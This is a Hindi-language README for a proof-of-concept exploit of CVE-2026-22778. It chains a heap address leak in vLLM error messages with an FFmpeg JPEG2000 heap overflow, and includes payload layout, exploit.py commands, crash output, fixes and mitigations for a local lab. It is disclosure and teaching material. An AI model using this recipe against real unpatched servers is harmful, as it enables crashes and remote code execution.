CVE-2026-22778 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो vLLM के वीडियो प्रोसेसिंग में एक अनप्रमाणित RCE है, जो हीप एड्रेस डिस्क्लोजर और FFmpeg के JPEG2000 डिकोडर में हीप बफर ओवरफ्लो को प्रदर्शित करता है। अधिकृत परीक्षण के लिए एक कमजोर लैब शामिल है।
| CVE | CVE-2026-22778 |
| एडवाइज़री | GHSA-4r2x-xpjr-7cvv |
| प्रभावित | vLLM >= 0.8.3, < 0.14.1 (वीडियो मॉडल सर्व करने वाले डिप्लॉयमेंट) |
| फिक्स्ड इन | vLLM 0.14.1 |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| अंतर्निहित बग | CVE-2025-9951 — FFmpeg के JPEG2000 डिकोडर में हीप बफर ओवरफ्लो |
दो अलग-अलग खामियाँ एक साथ जुड़ी हुई हैं। एक डिफ़ॉल्ट vllm serve में कोई प्रमाणीकरण नहीं होता, इसलिए दोनों /v1/chat/completions और /v1/invocations पर प्री-ऑथ पहुंच योग्य हैं।
जब कोई इमेज पार्स करने में विफल होती है, तो Pillow एक अपवाद उठाता है जिसका संदेश उस BytesIO ऑब्जेक्ट का repr() एम्बेड करता है जिससे वह पढ़ रहा था:
cannot identify image file <_io.BytesIO object at 0x7f4a9c2e1d50>
vLLM ने मीडिया-लोडिंग विफलताओं को HTTP 400 में बदल दिया और exc.detail को क्लाइंट को बिना छेड़े लौटा दिया
(api_server.py):
async def http_exception_handler(_: Request, exc: HTTPException):
err = ErrorResponse(
error=ErrorInfo(
message=exc.detail, # <-- एड्रेस को वर्बेटिम लीक करता है
...
वह एक एड्रेस हीप ASLR को ~32 बिट्स एन्ट्रॉपी से घटाकर लगभग 3 कर देता है, जो चरण 2 को सिर्फ़ क्रैश के बजाय एक्सप्लॉइटेबल बनाता है।
एक video_url सर्वर द्वारा फ़ेच की जाती है और OpenCV को सौंपी जाती है:
MediaConnector.load_from_url() vllm/multimodal/utils.py
-> OpenCVVideoBackend.load_bytes() vllm/multimodal/video.py
-> cv2.VideoCapture(BytesIO(data), backend, [])
-> FFmpeg 5.1.x (opencv-python-headless < 4.13 में बंडल)
vLLM ने opencv-python-headless >= 4.11.0 पिन किया, जो FFmpeg 5.1.x भेजता है। इसका JPEG2000 डिकोडर गंतव्य प्लेन को सीधे फ़ाइल के चैनल-डेफिनिशन (cdef) बॉक्स से चुनता है — libavcodec/jpeg2000dec.c, write_frame_8:
if (planar)
plane = s->cdef[compno] ? s->cdef[compno]-1 : (s->ncomponents-1);
...
int w = tile->comp[compno].coord[0][1] - ...; /* कंपोनेंट से */
int h = tile->comp[compno].coord[1][1] - ...; /* प्लेन से नहीं! */
plane हमलावर-नियंत्रित है लेकिन w/h डिकोड किए जा रहे कंपोनेंट से आते हैं, और कोई जाँच नहीं करता कि एक दूसरे में फिट बैठता है। cn=0, asoc=2 का एक cdef एंट्री कंपोनेंट 0 — पूर्ण-रिज़ॉल्यूशन लूमा प्लेन — को प्लेन 1, 2×2-सबसैम्पल्ड क्रोमा प्लेन में भेजता है।
इस PoC द्वारा उपयोग किए गए 150×64 फ्रेम के लिए:
| आकार | |
|---|---|
| Y कंपोनेंट (लिखा गया) | 150 × 64 = 9,600 बाइट्स |
| U प्लेन (गंतव्य) | 75 × 32 = 2,400 बाइट्स |
| ओवरफ्लो | आवंटन से 7,200 बाइट्स आगे |
FFmpeg प्रत्येक प्लेन को अपने स्वयं के AVBuffer के रूप में आवंटित करता है, इसलिए ओवरफ्लो आसन्न हीप चंक्स से होकर गुजरता है — जिसमें free फंक्शन पॉइंटर रखने वाले AVBuffer स्ट्रक्चर भी शामिल हैं। चरण 1 के लीक के साथ मिलकर, उस पॉइंटर को ओवरराइट करना ही भ्रष्टाचार को कोड एक्ज़ीक्यूशन में बदल देता है।
यह PoC मेमोरी भ्रष्टाचार पर रुक जाता है। यह सर्वर प्रोसेस को मारकर आउट-ऑफ-बाउंड राइट साबित करता है। हीप ग्रूमिंग और फंक्शन-पॉइंटर ओवरराइट जानबूझकर लागू नहीं किए गए हैं।
lab/app.py vLLM 0.13.0 के मल्टीमॉडल इन्जेशन पथ का एक न्यूनतम पुनर्कार्यान्वयन है — MediaConnector, ImageMediaIO, OpenCVVideoBackend और प्री-पैच एरर हैंडलर, प्रत्येक उस अपस्ट्रीम फ़ाइल के साथ एनोटेटेड है जिसे वह मिरर करता है। मॉडल रनटाइम स्टब किया गया है: भेद्यता पूरी तरह से मीडिया इन्जेशन में रहती है, जो इन्फ़रेंस से पहले चलती है और उसे GPU या मॉडल वेट्स की आवश्यकता नहीं होती।
हमले के पथ पर सब कुछ असली है — वही Pillow कॉल जो एड्रेस लीक करता है, और वही cv2.VideoCapture कॉल एक अनपैच्ड opencv-python-headless==4.11.0.86 (FFmpeg 5.1.x, libavcodec 59.37.100) में।
docker compose up -d --build
python3 exploit.py
विकल्प:
python3 exploit.py --target http://localhost:8000
python3 exploit.py --serve # पेलोड को HTTP पर डिलीवर करें
python3 exploit.py --write-payload evil.jp2 # सिर्फ़ दुर्भावनापूर्ण फ़ाइल लिखें
एक्सप्लॉइट शुद्ध स्टैंडर्ड लाइब्रेरी है — कोई निर्भरता नहीं।
[*] Stage 1 -- heap address disclosure via PIL error message
HTTP 400
cannot identify image file <_io.BytesIO object at 0xffff8f555300>
[+] Leaked heap address: 0xffff8f555300
ASLR bypassed: the heap base is now known to ~3 bits of entropy.
[*] Stage 2 -- heap buffer overflow in the JPEG2000 decoder
Target alive: boot_id=95b62f18-13c0-4d6d-97d3-1b029207dc01 pid=1
Payload: 203 bytes, 150x64 yuv420p JP2
cdef maps component 0 -> plane 1: writes 9600 bytes into a 2400-byte plane (7200-byte overflow)
Request never completed: Remote end closed connection without response
Probing /health to see what happened to the worker...
[+] Worker was killed and restarted: boot_id 95b62f18-... -> 4494d28c-...
[+] Out-of-bounds write confirmed.
और सर्वर पक्ष:
$ docker compose logs vllm
cve-2026-22778-lab | INFO: POST /v1/chat/completions HTTP/1.1" 400 Bad Request
cve-2026-22778-lab | corrupted size vs. prev_size
cve-2026-22778-lab | INFO: Started server process [1]
टियरडाउन:
docker compose down
203 बाइट्स, build_payload() में शुरू से निर्मित। एक JP2 कंटेनर जिसमें एक न्यूनतम JPEG2000 कोडस्ट्रीम है जो 4:2:0 सबसैम्पलिंग पर तीन कंपोनेंट्स घोषित करता है (ताकि FFmpeg एक yuv420p फ्रेम आवंटित करे), साथ ही एक cdef बॉक्स जो उन्हें रीमैप करता है:
cn=0, typ=0, asoc=2 <-- कंपोनेंट 0 (पूर्ण रेज़) को प्लेन 1 (सबसैम्पल्ड) में
cn=1, typ=0, asoc=2
cn=2, typ=0, asoc=3
गुणांक डेटा खाली है। डिकोडर फिर भी SIZ हेडर से फ्रेम आवंटित करता है और फिर भी राइट लूप चलाता है, इसलिए किसी वास्तविक इमेज डेटा की आवश्यकता नहीं है।
vLLM 0.14.1, तीन PR के माध्यम से:
अपस्ट्रीम FFmpeg अब एक cdef मैप को अस्वीकार करता है जो चैनलों का क्रमचय नहीं है, और पिक्सेल फॉर्मेट को रीमैप किए गए इंडेक्स से प्राप्त करता है:
int cdef_used = 0;
for (i = 0; i < s->ncomponents; i++)
cdef_used |= 1<<s->cdef[i];
if (cdef_used != ((int[]){0,2,3,14,15})[s->ncomponents])
return AVERROR_INVALIDDATA;
लैब के पिन को opencv-python-headless>=4.13.0 में बदलने से वही पेलोड error during processing marker segment ff51 के साथ हानिरहित रूप से विफल हो जाता है।
यदि आप अपग्रेड नहीं कर सकते: वीडियो मॉडल सर्व न करें, API के सामने प्रमाणीकरण रखें, और --allowed-media-domains के साथ मीडिया फ़ेचिंग प्रतिबंधित करें।
docker compose को नेटिव arm64 आर्किटेक्चर के लिए बिल्ड करने दें (डिफ़ॉल्ट)। --platform linux/amd64 को बाध्य करने से कंटेनर एमुलेशन के तहत चलता है, जहाँ एबॉर्टिंग प्रोसेस बाहर निकलने के बजाय हैंग हो जाता है और क्रैश का निरीक्षण करना कठिन होता है।शिक्षा और अधिकृत सुरक्षा परीक्षण के लिए ही। इसे इस रिपॉजिटरी में लैब या उन सिस्टमों के खिलाफ चलाएँ जिन्हें परीक्षण करने की आपके पास स्पष्ट अनुमति है।